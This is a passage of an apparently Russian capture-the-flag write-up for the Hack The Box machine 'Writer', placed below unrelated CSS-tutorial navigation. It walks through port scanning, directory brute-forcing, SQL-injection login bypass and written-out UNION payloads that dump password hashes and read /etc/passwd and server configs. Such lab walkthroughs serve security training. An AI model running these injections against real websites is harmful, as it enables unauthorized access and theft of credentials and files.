Невозможно отучить людей изучать самые ненужные предметы.
Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3
Надо знать обо всем понемножку, но все о немногом.
Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы
Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)
Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода
Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5
Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости
Справочник от А до Я
HTML, CSS, JavaScript
Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы
Помогли мы вам |
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Добавляем IP-адрес машины в /
:
10.10.10.101 writer.htb
И запускаем сканирование портов.
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное, с использованием имеющихся скриптов (опция -A
).
Находим четыре открытых порта:
Поскольку в начале у нас нет учетных данных, нет и смысла изучать службы, которые всегда требуют авторизации (например, SSH). Единственное, что мы можем делать здесь, — это перебирать пароли брутфорсом, но у машин с HTB почти всегда есть другое прохождение. В жизни таких вариантов может не быть, к тому же есть шансы подобрать пароль или получить его при помощи социальной инженерии.
Посмотрим, что мы сможем узнать об SMB без учетных данных. Для этого достаточно всего одной команды:
enum4linux -awriter.htb
Полученные пользователиИз интересной информации — два имени пользователей kyle
и john
.
Заглянем на главную страницу сайта. Здесь ничего интересного нет, разве что имена авторов над каждым постом. В таких случаях нужно искать дополнительные страницы при помощи слепого перебора. Просканируем директории в корневом каталоге сайта с помощью ffuf.
ffuf -uhttp://writer.htb/FUZZ -fc 403 -t 200 -wdirectory_2.3_medium.txt
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-w
— словарь (используем directory-list-2.3-medium из набора SecLists);-t
— количество потоков;-u
— URL;-fc
— исключить из результата ответы с кодом 403.Помимо известных нам страниц, мы нашли вход в админку. Там нас ждет форма авторизации.
Так как сайт самописный, я решил протестировать обход аутентификации для разных технологий. Начал, конечно же, с SQL-инъекции. Переводим запрос в Burp Intruder и подставляем список нагрузок и в поле логина, и в поле пароля (у меня свой список, но их полно на GitHub). В результате находим последовательности, которые возвращают меньше данных, чем все остальные.
Это работает, так как, скорее всего, на стороне сервера используется SQL-запрос вроде такого (код примерный):
При использовании нагрузки admin'
мы превращаем его в запрос вида select
, так как решетка — это символ, обозначающий в SQL начало комментария. Используем эту нагрузку и получаем доступ к админке сайта.
Из интересного на странице лишь форма загрузки файлов. Однако прежде, чем изучать ее, я решил вернуться к SQL-инъекции. Из нее явно можно выжать что‑то еще! Давай потестируем форму авторизации и отправим на перебор словарь с другими нагрузками. Получим несколько результатов.
Инъекции типа boolean и UNION based дают положительный результат. Опираясь на первую, мы можем построить «вопросительный» запрос и сможем получать ответы о том, верно или неверно какое‑то наше предположение. UNION based инъекции помогают извлекать за один запрос большие объемы данных. Поэтому выбираем второй тип.
При этом мы уже знаем количество столбцов в используемой таблице — их шесть. Давай определим, данные из каких столбцов выводятся в ответе. Для этого в каждом столбце передадим уникальную последовательность и поищем ее в получаемой странице. При записи нагрузки в Burp выделим ее и нажмем Ctrl-U для URL-кодирования.
UNION ALL SELECT 888,8888,88888,888888,8888888,88888888 #
Определение целевого столбца таблицыПо количеству восьмерок определяем второй столбец! Теперь проверим тип данных. Например, вот такой строкой:
UNION ALL SELECT 888,"TEST_SQL",88888,888888,8888888,88888888#
Тестирование строчного типа данныхКак мы видим, строка отобразилась в ответе. Получим имеющиеся базы данных. Чтобы объединить несколько строк в одну, используем функции concat
или group_concat
.
UNION ALL SELECT 1,concat(':::',schema_name),3,4,5,6 from information_schema.schemata #
Базы данныхТеперь получим таблицы из таблицы writer
. Чтобы не копировать данные каждый раз, можно использовать Burp Inspector. Тогда кодировка будет выполняться автоматически.
asd' UNION ALL SELECT 1,group_concat(0x7c,table_name,0x7c),3,4,5,6 from information_schema.tableas WHERE table_schema = 'writer'#
ТаблицыПолучаем таблицы. Скорее всего, в users
сможем найти учетные данные. Давай узнаем имена столбцов из этой таблицы.
asd' UNION ALL SELECT 1,group_concat(0x7c,column_name,0x7c),3,4,5,6 from information_schema.columns WHERE table_name = 'users'#
Имена столбцов в таблице usersОтлично, имеем username и password. Дампим пароли.
asd' UNION ALL SELECT 1,group_concat(0x7c,password,0x7c),3,4,5,6 from users#
Хеш пароля пользователяПолучаем хеш. Только есть одна загвоздка — он нам ничего не дает. Поэтому нужно снова менять вектор атаки. Попробуем читать файлы с сервера, к примеру из /
.
asd' UNION ALL SELECT 1,LOAD_FILE('/etc/passwd'),3,4,5,6#
Содержимое файла /etc/passwdЗапрос успешно обработан, и мы получаем все содержимое файла.
Так как мы можем читать файлы на сервере, следующий наш шаг — получить и проанализировать исходные коды сайта. Чтобы узнать путь к файлам сайта, взглянем на файл конфигураций Apache /
.
asd' UNION ALL SELECT 1,LOAD_FILE("/etc/apache2/sites-enabled/000-default.conf"),3,4,5,6#
Файл конфигураций Apache
|
|